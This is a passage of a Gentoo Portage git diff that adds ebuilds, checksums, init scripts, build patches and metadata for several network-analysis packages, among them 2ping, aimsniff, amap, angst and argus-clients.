+DESCRIPTION="A bi-directional ping utility"
+HOMEPAGE="http://www.finnie.org/software/2ping/"
+SRC_URI="http://www.finnie.org/software/2ping/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="crc ipv6 md5 sha server"
+
+# The 2ping script itself checks if these optional deps are available.
+DEPEND="
+ dev-lang/perl
+ virtual/perl-Getopt-Long
+ virtual/perl-Pod-Parser
+ virtual/perl-IO
+ virtual/perl-Time-HiRes
+ ipv6? ( dev-perl/IO-Socket-INET6 )
+ md5? ( virtual/perl-Digest-MD5 )
+ sha? ( virtual/perl-Digest-SHA )
+ crc? ( dev-perl/Digest-CRC )
+"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ emake DESTDIR="${D}" PREFIX="/usr" install
+ dodoc ChangeLog README
+ use server && {
+ doinitd "${FILESDIR}"/2pingd
+ newconfd "${FILESDIR}"/2pingd.conf 2pingd
+ }
+}
diff --git a/net-analyzer/2ping/2ping-2.1.1.ebuild b/net-analyzer/2ping/2ping-2.1.1.ebuild
new file mode 100644
index 000000000000..1b9cd45e5459
--- /dev/null
+++ b/net-analyzer/2ping/2ping-2.1.1.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+inherit perl-module
+
+DESCRIPTION="A bi-directional ping utility"
+HOMEPAGE="http://www.finnie.org/software/2ping/"
+SRC_URI="http://www.finnie.org/software/2ping/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="crc ipv6 md5 sha server"
+
+# The 2ping script itself checks if these optional deps are available.
+DEPEND="
+ >=dev-lang/perl-5.6.0:=
+ virtual/perl-Getopt-Long
+ virtual/perl-Pod-Parser
+ virtual/perl-IO
+ virtual/perl-Time-HiRes
+ ipv6? ( dev-perl/IO-Socket-INET6 )
+ md5? ( virtual/perl-Digest-MD5 )
+ sha? ( virtual/perl-Digest-SHA )
+ crc? ( dev-perl/Digest-CRC )
+"
+
+RDEPEND="${DEPEND}"
diff --git a/net-analyzer/2ping/Manifest b/net-analyzer/2ping/Manifest
new file mode 100644
index 000000000000..6284dfe0a386
--- /dev/null
+++ b/net-analyzer/2ping/Manifest
@@ -0,0 +1,3 @@
+DIST 2ping-1.2.3.tar.gz 28755 SHA256 1d0c3f30c99f1437f799f6ba9d0b49d60468cd78c03feb7bea0dde7eff22d3b5
+DIST 2ping-2.0.tar.gz 33048 SHA256 c6c9c16969cd6b0541a2b0d5d8b1694f176ba7e32448bfa500f6ff8763cf75df SHA512 2bbf5347bc5fc354c8c2c8b8cca00a5c4375d48b984273d91bfe0bf62d0592990a55ac5afcecfa3ed46bf59d58607b505339f07e987d0c084889ab0f41368a2a WHIRLPOOL f3f383f05e891c48dcf23e12670834f3093caf27f8d8525960a8fec6854b497cf940e27370bd4ec95fba0771e64ae59d842acff505c222ba2d87468a74f4ad75
+DIST 2ping-2.1.1.tar.gz 27232 SHA256 20fc09dbbc7fa37b90bfa415bad801697bd56c16c653cda551bfadbad3936f65 SHA512 d290fc2cf03dd40a38f72d9f46abfc0ef2e3c65f420b53d00c299b442ad3d9312f459317f6125d3d9b2de888a1292f5f56f49de6de6b869f1dc325b24e20de19 WHIRLPOOL 9273991e2ddd4f68da4f31e9a282d45a05d993079dd86873ca6822904f0fb0c7fc25fe691c89239020d317feea901409ce13f5a6dfce53fdc10f66437b1eb0ed
diff --git a/net-analyzer/2ping/files/2pingd b/net-analyzer/2ping/files/2pingd
new file mode 100644
index 000000000000..a1cf292ac5fe
--- /dev/null
+++ b/net-analyzer/2ping/files/2pingd
@@ -0,0 +1,36 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+DAEMON="/usr/bin/2ping"
+PIDFILE="/var/run/2ping"
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting 2ping server"
+ start-stop-daemon --start \
+ --background --make-pidfile \
+ --pidfile "${PIDFILE}" \
+ --exec "${DAEMON}" -- \
+ --listen -q ${OPTS} \
+ >/dev/null
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping 2ping server"
+ start-stop-daemon --stop --pidfile "${PIDFILE}"
+ eend $?
+}
+
+restart() {
+ ebegin "Restarting 2ping server"
+ start-stop-daemon --stop --pidfile "${PIDFILE}"
+ sleep 1
+ start-stop-daemon --start --exec "${DAEMON}" --pidfile "${PIDFILE}"
+ eend $?
+}
diff --git a/net-analyzer/2ping/files/2pingd.conf b/net-analyzer/2ping/files/2pingd.conf
new file mode 100644
index 000000000000..12c263d3d054
--- /dev/null
+++ b/net-analyzer/2ping/files/2pingd.conf
@@ -0,0 +1,2 @@
+#Pass any extra 2ping server options here
+#OPTS="--ipv6"
diff --git a/net-analyzer/2ping/metadata.xml b/net-analyzer/2ping/metadata.xml
new file mode 100644
index 000000000000..ea661e700f0a
--- /dev/null
+++ b/net-analyzer/2ping/metadata.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>blueness@gentoo.org</email>
+ <name>Anthony G. Basile</name>
+ </maintainer>
+ <longdescription>
+ A bi-directional ping utility
+ </longdescription>
+ <use>
+ <flag name='crc'>Enable crc check.</flag>
+ <flag name='md5'>Enable md5 hash check.</flag>
+ <flag name='sha'>Enable sha1 or sha256 check.</flag>
+ <flag name='server'>Install the server init scripts.</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/aimsniff/Manifest b/net-analyzer/aimsniff/Manifest
new file mode 100644
index 000000000000..1677df2e8458
--- /dev/null
+++ b/net-analyzer/aimsniff/Manifest
@@ -0,0 +1,2 @@
+DIST aimsniff-0.9d.tar.gz 24044 SHA256 11ce4cd3e1dcdabee0319dbb8a52c176debfbcd59c0c0c913078bb4b85619ac1 SHA512 eba8d1ff21c6c841f5e1b344769c38bf00936613c975dd60e0c3922e67805733c2e949006be36a83d75fc6c9c77de510a6914d184c6159e46b9d35cc4f12efa6 WHIRLPOOL 40a882204e0da03843a6a461b036dfb6a84f29fbee22f83c4d962ba0ca838b71499b51f8736ff99eadad7a0ecd30405c7df743081d258b0f4a7141bb20ef69cd
+DIST was-0.1.2b.tar.gz 73651 SHA256 0d1af84e7ed529cf0f8a63f4c72e8656ceccf0316cc42dcc9d856cbf8091635b SHA512 afbe8554c16df8305e781cf2dde3af1e7b25345dc1f5defc7723654479cc91d8f6fe9ddc3850fd487f77b241d40274edb2b7328ab011df93996264f14b98e6cd WHIRLPOOL cabbdbb0131ff633472b18226ed424c5d905f0dfbb92a36ccdd08cdba024ba94b88e4b497e10d9d6c4ebd000efa832a0a66ecd105e50a894ed48591633d80d16
diff --git a/net-analyzer/aimsniff/aimsniff-0.9d.ebuild b/net-analyzer/aimsniff/aimsniff-0.9d.ebuild
new file mode 100644
index 000000000000..201fa4b00416
--- /dev/null
+++ b/net-analyzer/aimsniff/aimsniff-0.9d.ebuild
@@ -0,0 +1,110 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils webapp eutils depend.apache
+
+WAS_VER="0.1.2b"
+
+DESCRIPTION="Utility for monitoring and archiving AOL Instant Messenger messages across a network"
+HOMEPAGE="http://sourceforge.net/projects/aimsniff/"
+SRC_URI="
+ mirror://sourceforge/${PN}/${P}.tar.gz
+ http? ( mirror://sourceforge/${PN}/was-${WAS_VER}.tar.gz )
+"
+
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ppc x86"
+#SLOT empty due to webapp
+IUSE="samba mysql http"
+
+RDEPEND="
+ dev-lang/perl[gdbm]
+ dev-perl/Net-Pcap
+ dev-perl/NetPacket
+ dev-perl/Unicode-String
+ dev-perl/Proc-Daemon
+ dev-perl/Proc-Simple
+ dev-perl/DBI
+ dev-perl/Unix-Syslog
+ mysql? ( virtual/mysql dev-perl/DBD-mysql )
+ samba? ( net-fs/samba )
+"
+
+want_apache2 http
+
+pkg_setup() {
+ depend.apache_pkg_setup http
+
+ use http && webapp_pkg_setup
+}
+
+src_install() {
+ use http && webapp_src_preinst
+
+ newsbin aimSniff.pl aimsniff
+ insinto /etc/${PN}
+ doins aimsniff.config
+ insinto /usr/share/doc/${PF}
+ doins table.struct
+ dodoc README ChangeLog
+
+ if use http; then
+ cp ../was-${WAS_VER}/docs/README README.WAS
+ dodoc README.WAS
+
+ rm -rf ../was-${WAS_VER}/docs
+ mv ../was-${WAS_VER}/ "${D}"${MY_HTDOCSDIR}/was
+
+ webapp_serverowned ${MY_HTDOCSDIR}/was
+
+ # This file needs to be serverowned as the server won't be able to write to it if it were
+ # webapp_configfile'ed.
+ webapp_serverowned ${MY_HTDOCSDIR}/was/.config.php
+
+ webapp_src_install
+ fi
+
+ newinitd "${FILESDIR}"/aimsniff.rc aimsniff
+}
+
+pkg_postinst() {
+ if use mysql
+ then
+ echo
+ elog "To create and enable the mysql database, please run: "
+ elog "emerge --config =${PF}"
+
+ if use http; then
+ echo "To create and enable the mysql database, please run:
+ emerge --config =${PF}" > apache-postinst
+ webapp_postinst_txt en apache-postinst
+ fi
+ fi
+
+ if use http; then
+ elog
+ elog "Go to http://${HOSTNAME}/was/admin.php to configure WAS."
+
+ echo "Go to http://${HOSTNAME}/was/admin.php to configure WAS." > was-postinst
+ webapp_postinst_txt en was-postinst
+ fi
+}
+
+pkg_config() {
+ echo
+ einfo "Creating mysql database aimsniff using /usr/share/doc/${PF}/table.struct:"
+ echo -n "Please enter your mysql root password: "
+ read mysql_root
+ /usr/bin/mysqladmin -p$mysql_root -u root create aimsniff
+ /usr/bin/mysql -p$mysql_root -u root aimsniff < /usr/share/doc/${PF}/table.struct
+ echo -n "Please enter your username that you want to connect to the database with: "
+ read user
+ echo -n "Please enter the password that you want to use for your database: "
+ read password
+ einfo "Granting permisions on database using 'GRANT ALL ON aimsniff.* TO $user IDENTIFIED BY '$password';'"
+ echo "GRANT ALL ON aimsniff.* TO $user@localhost IDENTIFIED BY '$password';" | /usr/bin/mysql -p$mysql_root -u root aimsniff
+ echo
+}
diff --git a/net-analyzer/aimsniff/files/aimsniff.rc b/net-analyzer/aimsniff/files/aimsniff.rc
new file mode 100644
index 000000000000..d94f6a9dcc79
--- /dev/null
+++ b/net-analyzer/aimsniff/files/aimsniff.rc
@@ -0,0 +1,18 @@
+#!/sbin/runscript
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting asniff"
+ start-stop-daemon -o --quiet --start --exec /usr/sbin/aimsniff -- \
+ -C=/etc/aimsniff/aimsniff.config
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping asniff"
+ start-stop-daemon -o --stop -p /var/run/aimsniff_parent.pid -s QUIT
+ eend $?
+}
diff --git a/net-analyzer/aimsniff/metadata.xml b/net-analyzer/aimsniff/metadata.xml
new file mode 100644
index 000000000000..b17448781b40
--- /dev/null
+++ b/net-analyzer/aimsniff/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>aimsniff is a utility used for retrieving and storing AIM messages across a network.</longdescription>
+ <use>
+ <flag name="http">Install the WAS (Web AIM Sniff) frontend</flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">aimsniff</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/alive/Manifest b/net-analyzer/alive/Manifest
new file mode 100644
index 000000000000..d61a53bcf0d7
--- /dev/null
+++ b/net-analyzer/alive/Manifest
@@ -0,0 +1,2 @@
+DIST alive-2.0.1.tar.xz 172320 SHA256 539fabc6e3e8fee9dc4753b5ba8cf3cde566bd4b0d9410d81b54c18e11644ba6 SHA512 9f1d4020b72568e96ea67010728cb1274a883f7328444009839be999a1fc9466e8199d8415e589e27314106a8ae1c4a18f0b1bd342185e7878895ad962289ecf WHIRLPOOL 881b4b4a8d5d78d64353f1ef374c8dbf5a522276b1545b255ebf7f1ce8eedc7a27e358c620dfe91cda38e980023e3caa92291028be8ed3009bd31698fbf89c70
+DIST alive-2.0.2.tar.xz 174936 SHA256 120dd9ef361833623be353ad8cfac585abae51a16fedd3a84f1d99a842793fef SHA512 7e9c88f62ab5c0248d1e42b81e2106f43fc9587543782623e8a564ab99fd1d4a55058a175dc46d25520454c07f732101c7e62248ce992d1a8a615f531b1c090e WHIRLPOOL 8c223e26565e0d85ab0e075bd66b78452d5e3446681f9fd2d020a1b0ddee347b7fa6b9144b041684b15cd7f21709271ea6b1d8e1566cc0f3a530a69eb9c1384e
diff --git a/net-analyzer/alive/alive-2.0.1.ebuild b/net-analyzer/alive/alive-2.0.1.ebuild
new file mode 100644
index 000000000000..45bbef89d1e5
--- /dev/null
+++ b/net-analyzer/alive/alive-2.0.1.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+DESCRIPTION="a periodic ping program"
+HOMEPAGE="http://www.gnu.org/software/alive/"
+SRC_URI="mirror://gnu/${PN}/${P}.tar.xz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE=""
+
+DEPEND="app-arch/xz-utils"
+RDEPEND="
+ dev-scheme/guile
+ net-misc/iputils
+"
diff --git a/net-analyzer/alive/alive-2.0.2.ebuild b/net-analyzer/alive/alive-2.0.2.ebuild
new file mode 100644
index 000000000000..048035d477c8
--- /dev/null
+++ b/net-analyzer/alive/alive-2.0.2.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="a periodic ping program"
+HOMEPAGE="http://www.gnu.org/software/alive/"
+SRC_URI="mirror://gnu/${PN}/${P}.tar.xz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE=""
+
+COMMON_DEPEND="net-misc/iputils"
+DEPEND="
+ app-arch/xz-utils
+ ${COMMON_DEPEND}
+"
+RDEPEND="
+ dev-scheme/guile
+ ${COMMON_DEPEND}
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-ping-test.patch
+ eautoreconf
+}
diff --git a/net-analyzer/alive/files/alive-2.0.2-ping-test.patch b/net-analyzer/alive/files/alive-2.0.2-ping-test.patch
new file mode 100644
index 000000000000..3b1b1257c9b3
--- /dev/null
+++ b/net-analyzer/alive/files/alive-2.0.2-ping-test.patch
@@ -0,0 +1,14 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -35,11 +35,6 @@
+ [alive_cv_nice_ping=yes],
+ [alive_cv_nice_ping=no])])
+
+-dnl Luckily both inetutils-ping and iputils-ping are nice.
+-AS_IF([test xno = x$alive_cv_nice_ping],
+-[AC_MSG_ERROR([$PING does not support ‘-n -c 1’.
+-Please install a ping program that does, and retry.])])
+-
+ AC_CONFIG_FILES([
+ Makefile
+ src/Makefile
diff --git a/net-analyzer/alive/metadata.xml b/net-analyzer/alive/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/alive/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/amap/Manifest b/net-analyzer/amap/Manifest
new file mode 100644
index 000000000000..5b4f82e11b63
--- /dev/null
+++ b/net-analyzer/amap/Manifest
@@ -0,0 +1 @@
+DIST amap-5.4.tar.gz 263331 SHA256 a75ea58de75034de6b10b0de0065ec88e32f9e9af11c7d69edbffc4da9a5b059 SHA512 e1a9f03940eded3eedad0028786f4ea6c18077072d52eb2f843ef0b4ff736bf1766c4bdb4eff52d3a8f6038d8f795e39be1c15bcae8283ddae8f40a7fff8647d WHIRLPOOL a7f08440d4e9ccf8ef1909aecebd95bb7a2bb7ddb5917d76b796e146821fe2d962518673faedd9f7665e18b97302e5ac50953f875473dd41328e1b5e77996240
diff --git a/net-analyzer/amap/amap-5.4.ebuild b/net-analyzer/amap/amap-5.4.ebuild
new file mode 100644
index 000000000000..3c628314531e
--- /dev/null
+++ b/net-analyzer/amap/amap-5.4.ebuild
@@ -0,0 +1,73 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A network scanning tool for pentesters"
+HOMEPAGE="https://www.thc.org/thc-amap/"
+SRC_URI="https://www.thc.org/releases/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc ppc64 x86 ~x86-fbsd"
+IUSE="ssl"
+
+DEPEND="
+ dev-libs/libpcre
+ ssl? ( >=dev-libs/openssl-0.9.6j )
+"
+RDEPEND="
+ ${DEPEND}
+ !sci-biology/amap
+"
+
+src_prepare() {
+ rm -r pcre-3.9 || die
+ sed -i -e "s:etc/:share/amap/:g" amap-lib.c || die
+ # Above change requires below change. See sources...
+ sed -i '/strlen(AMAP_PREFIX/s: 5 : 12 :' amap-lib.c || die
+ sed -i 's:/usr/local:/usr:' amap.h || die
+ # Files to be updated are at different location, bug 207839.
+ sed -i '/AMAP_RESOURCE/s:www:freeworld:' amap.h || die
+
+ sed -i '/DATADIR/s:/etc:/share/amap:' Makefile.am || die
+
+ epatch "${FILESDIR}"/4.8-system-pcre.patch
+}
+
+src_configure() {
+ # non-autotools configure script
+ ./configure || die
+ sed -i \
+ -e '/^XDEFINES=/s:=.*:=:' \
+ -e '/^XLIBS=/s:=.*:=:' \
+ -e '/^XLIBPATHS/s:=.*:=:' \
+ -e '/^XIPATHS=/s:=.*:=:' \
+ -e "/^CC=/d" \
+ Makefile || die
+ if use ssl ; then
+ sed -i \
+ -e '/^XDEFINES=/s:=:=-DOPENSSL:' \
+ -e '/^XLIBS=/s:=:=-lcrypto -lssl:' \
+ Makefile || die
+ fi
+ sed -i Makefile \
+ -e '/-o amap/{s|(OPT) |(OPT) $(LDFLAGS) |g}' \
+ || die
+}
+
+src_compile() {
+ emake CC=$(tc-getCC) OPT="${CFLAGS}"
+}
+
+src_install() {
+ dobin amap amapcrap
+ insinto /usr/share/amap
+ doins appdefs.*
+
+ doman ${PN}.1
+ dodoc README TODO CHANGES
+}
diff --git a/net-analyzer/amap/files/4.8-system-pcre.patch b/net-analyzer/amap/files/4.8-system-pcre.patch
new file mode 100644
index 000000000000..097bfbf45eb5
--- /dev/null
+++ b/net-analyzer/amap/files/4.8-system-pcre.patch
@@ -0,0 +1,45 @@
+diff --exclude='*~' -urN amap-4.8.orig/amap-inc.h amap-4.8/amap-inc.h
+--- amap-4.8.orig/amap-inc.h 2005-02-21 21:47:47.251638320 -0500
++++ amap-4.8/amap-inc.h 2005-02-21 21:48:27.774477912 -0500
+@@ -20,7 +20,7 @@
+ #include <errno.h>
+ #include <sys/resource.h>
+ #include <sys/wait.h>
+-#include "pcre-3.9/pcre.h"
++#include <pcre.h>
+ #ifdef OPENSSL
+ #include <openssl/ssl.h>
+ #include <openssl/err.h>
+diff --exclude='*~' -urN amap-4.8.orig/configure amap-4.8/configure
+--- amap-4.8.orig/configure 2005-02-21 21:47:47.240639992 -0500
++++ amap-4.8/configure 2005-02-21 21:48:41.379409648 -0500
+@@ -13,10 +13,6 @@
+ exit 0
+ fi
+
+-cd pcre-3.9 || exit 1
+-./configure || exit 1
+-cd ..
+-
+ echo
+ echo
+ echo "Starting amap auto configuration ..."
+diff --exclude='*~' -urN amap-4.8.orig/Makefile.am amap-4.8/Makefile.am
+--- amap-4.8.orig/Makefile.am 2005-02-21 21:47:47.242639688 -0500
++++ amap-4.8/Makefile.am 2005-02-21 21:49:16.070135856 -0500
+@@ -1,5 +1,5 @@
+ CC=gcc
+-LIB=-lpcre -L./pcre-3.9/ -I./pcre-3.9/
++LIB=-lpcre
+ OPT=-O2
+ OPT_DEBUG=-ggdb -Wall -lefence
+ BINDIR=/bin
+@@ -7,7 +7,7 @@
+ MANDIR=/man/man1
+ SCRIPTS=appdefs.trig appdefs.resp appdefs.rpc
+ MANPAGE=amap.1
+-all: pcre strip
++all: amap amapcrap
+
+ pcre:
+ cd pcre-3.9 && make
diff --git a/net-analyzer/amap/metadata.xml b/net-analyzer/amap/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/amap/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/angst/Manifest b/net-analyzer/angst/Manifest
new file mode 100644
index 000000000000..3cbb8d0646ae
--- /dev/null
+++ b/net-analyzer/angst/Manifest
@@ -0,0 +1 @@
+DIST angst-0.4b.tar.gz 13909 SHA256 609a7008030649171d6041bd1dd29ec1644db011ad7f8ba2074727a583366dc8 SHA512 5584b1dd01d781cd34b594fcc8970764874599a1f15b1185066ee21c11cde23af148270c178d6a0b3436d71955aaf1cd904703f9dfb0c75d0b70c04d394fb449 WHIRLPOOL 85ece3435a9adf81d20a4579beb86f96002fbe8b8f6d75e96080a88fdc4a0dc3fc133db09fab818874571709e07ec8c73ec26c5391bc2dda46a65b1ef478b0b4
diff --git a/net-analyzer/angst/angst-0.4b-r2.ebuild b/net-analyzer/angst/angst-0.4b-r2.ebuild
new file mode 100644
index 000000000000..84b29ec14f97
--- /dev/null
+++ b/net-analyzer/angst/angst-0.4b-r2.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="an active sniffer that provides methods for aggressive sniffing on switched LANs"
+HOMEPAGE="http://angst.sourceforge.net/"
+SRC_URI="http://angst.sourceforge.net/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+
+DEPEND="net-libs/libpcap
+ net-libs/libnet:1.0"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ cp -av Makefile.linux{,.orig}
+ epatch "${FILESDIR}"/${PV}-libnet-1.0.patch
+ sed -i Makefile.linux \
+ -e 's|^CC =|CC ?=|g' \
+ -e '/ -o angst /s|$(OBJS)|$(LDFLAGS) &|g' \
+ || die
+}
+
+src_compile() {
+ emake \
+ CFLAGS="${CFLAGS}" \
+ LDFLAGS="${LDFLAGS}" \
+ CC="$(tc-getCC)" \
+ -f Makefile.linux
+}
+
+src_install() {
+ dosbin angst
+ doman angst.8
+ dodoc README TODO ChangeLog
+}
diff --git a/net-analyzer/angst/files/0.4b-libnet-1.0.patch b/net-analyzer/angst/files/0.4b-libnet-1.0.patch
new file mode 100644
index 000000000000..b78243a1a187
--- /dev/null
+++ b/net-analyzer/angst/files/0.4b-libnet-1.0.patch
@@ -0,0 +1,12 @@
+--- Makefile.linux.orig 2003-08-19 01:22:26.737300264 -0400
++++ Makefile.linux 2003-08-19 01:22:26.745299048 -0400
+@@ -14,2 +14,2 @@
+-LIBS = -L/usr/local/lib `libnet-config --libs` -lpcap
+-DEFINE = `libnet-config --defines` -DLINUX #-DDEBUG
++LIBS = -L/usr/local/lib `libnet-1.0-config --libs` -lpcap
++DEFINE = `libnet-1.0-config --defines` -DLINUX #-DDEBUG
+--- angst.h.orig 2003-08-19 01:22:26.741299656 -0400
++++ angst.h 2003-08-19 01:22:26.751298136 -0400
+@@ -12 +12 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
diff --git a/net-analyzer/angst/metadata.xml b/net-analyzer/angst/metadata.xml
new file mode 100644
index 000000000000..ed71c61c5906
--- /dev/null
+++ b/net-analyzer/angst/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>an active sniffer that provides methods for aggressive sniffing on switched LAN</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/apinger/Manifest b/net-analyzer/apinger/Manifest
new file mode 100644
index 000000000000..98899b45568a
--- /dev/null
+++ b/net-analyzer/apinger/Manifest
@@ -0,0 +1 @@
+DIST apinger-0.4.1.tar.gz 26328 SHA256 eb63985d231e7af3ad894d4ef6a2f1c413a937598431d386b5f4044680577f93 SHA512 b8a67149f43da5b6e240dee97315c31a3e6257f1de70da81a6aa63d1e1d7d5bff0b54abe5085a57e90eb7789b7fa8b83c09a51411a6247a81b6f99de3d83120f WHIRLPOOL ab4b73dd13d62cc59becf3c18531738700083e110a6e809c853695e18616e4838b0789a7c357f5b5b81a91a37d8a940409a53562ab8a80b3fbece0f840faec7c
diff --git a/net-analyzer/apinger/apinger-0.4.1.ebuild b/net-analyzer/apinger/apinger-0.4.1.ebuild
new file mode 100644
index 000000000000..b52981599b4f
--- /dev/null
+++ b/net-analyzer/apinger/apinger-0.4.1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools
+
+DESCRIPTION="Alarm Pinger"
+HOMEPAGE="https://github.com/Jajcus/apinger/"
+SRC_URI="${HOMEPAGE}archive/${PN^^}_${PV//./_}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64"
+
+DEPEND="
+ sys-devel/flex
+ virtual/yacc
+"
+
+S=${WORKDIR}/${PN}-${PN^^}_${PV//./_}
+
+DOCS=( AUTHORS ChangeLog NEWS README TODO )
+
+src_prepare() {
+ sed -i -e 's|\\$||g' acinclude.m4 || die
+ eautoreconf
+}
+
+src_compile() {
+ emake -C src/ cfgparser1.h
+ default
+}
+
+src_install() {
+ default
+ insinto /etc
+ doins src/${PN}.conf
+}
diff --git a/net-analyzer/apinger/metadata.xml b/net-analyzer/apinger/metadata.xml
new file mode 100644
index 000000000000..37a3ce04f3bd
--- /dev/null
+++ b/net-analyzer/apinger/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">Jajcus/apinger</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/argus-clients/Manifest b/net-analyzer/argus-clients/Manifest
new file mode 100644
index 000000000000..60024d3424d8
--- /dev/null
+++ b/net-analyzer/argus-clients/Manifest
@@ -0,0 +1 @@
+DIST argus-clients-3.0.8.tar.gz 2627515 SHA256 aee8585d50959e00070a382f3121edfaa844a0a51dc0b73edf84c0f4eb8912c9 SHA512 79022b3c3e472ebc526b27c20c25ae97abdb9a363a91ebbe3baf405f2aba9bdd80fbc0250b444d3d7ab4488e3c1325389a4719e92d9aded7598a91c3309369c2 WHIRLPOOL 5147a80ade6beaa44029253807033b1257b0826631deba66cb1176d82919e7e454b5e95df453d15e5a0a6b9b6e09472ab84d21b06ae97e69fca4217028513849
diff --git a/net-analyzer/argus-clients/argus-clients-3.0.8.ebuild b/net-analyzer/argus-clients/argus-clients-3.0.8.ebuild
new file mode 100644
index 000000000000..690bb134abd0
--- /dev/null
+++ b/net-analyzer/argus-clients/argus-clients-3.0.8.ebuild
@@ -0,0 +1,73 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils toolchain-funcs
+
+DESCRIPTION="Clients for net-analyzer/argus"
+HOMEPAGE="http://www.qosient.com/argus/"
+SRC_URI="http://qosient.com/argus/dev/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE="debug ft geoip mysql sasl tcpd"
+
+MY_CDEPEND="
+ net-analyzer/rrdtool[perl]
+ net-libs/libpcap
+ sys-libs/ncurses
+ sys-libs/readline
+ sys-libs/zlib
+ ft? ( net-analyzer/flow-tools )
+ geoip? ( dev-libs/geoip )
+ mysql? ( virtual/mysql )
+ sasl? ( dev-libs/cyrus-sasl )
+"
+
+RDEPEND="
+ ${MY_CDEPEND}
+"
+
+DEPEND="
+ ${MY_CDEPEND}
+ sys-devel/bison
+ sys-devel/flex
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-3.0.4.1-disable-tcp-wrappers-automagic.patch \
+ "${FILESDIR}"/${PN}-3.0.7.21-curses-readline.patch
+
+ sed -i -e 's| ar | $(AR) |g' common/Makefile.in || die
+ tc-export AR RANLIB
+
+ eautoreconf
+}
+
+src_configure() {
+ use debug && touch .debug
+ econf \
+ $(use_with ft libft) \
+ $(use_with geoip GeoIP /usr/) \
+ $(use_with sasl) \
+ $(use_with tcpd wrappers) \
+ $(use_with mysql)
+}
+
+src_compile() {
